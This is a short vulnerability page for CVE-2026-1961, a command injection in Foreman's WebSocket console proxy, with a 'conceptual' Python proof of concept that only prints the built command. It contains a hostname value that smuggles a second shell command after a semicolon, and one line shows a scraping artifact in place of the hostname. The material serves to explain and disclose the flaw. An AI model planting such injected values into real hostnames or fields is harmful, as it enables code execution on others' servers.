CVE-2026-1961 Foreman WebSocket代理命令注入漏洞

#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-1961 (Foreman Command Injection) This demonstrates how a malicious hostname from a compute resource triggers command injection on the Foreman server. """ # Malicious payload: A simple command injection to create a file or reverse shell # The attacker controls the compute resource (e.g., a malicious Libvirt server) # and sets the hostname to this value. MALICIOUS_HOSTNAME = "vm-01.example.com; touch /tmp/pwned; #" def simulate_vulnerable_foreman_logic(hostname): """ Simulates the vulnerable command construction in Foreman's WebSocket proxy. Real code might look like: cmd = "ssh -o StrictHostKeyChecking=no root@{}".format(hostname) """ print(f"[*] Foreman received request for VNC console of: {hostname}") # VULNERABLE COMMAND CONSTRUCTION # In a real scenario, this is passed to os.system() or subprocess.Popen(shell=True) shell_command = f"/usr/bin/ssh -W localhost:5900 root@{hostname}" print(f"[!] Executing command: {shell_command}") # If executed, this would run: /usr/bin/ssh ... [email protected]; touch /tmp/pwned; # # The semicolon allows chaining a second command: 'touch /tmp/pwned' if __name__ == "__main__": print("[+] Attacker setting up malicious compute resource...") simulate_vulnerable_foreman_logic(MALICIOUS_HOSTNAME) print("[+] If exploited, arbitrary code execution achieved on Foreman server.")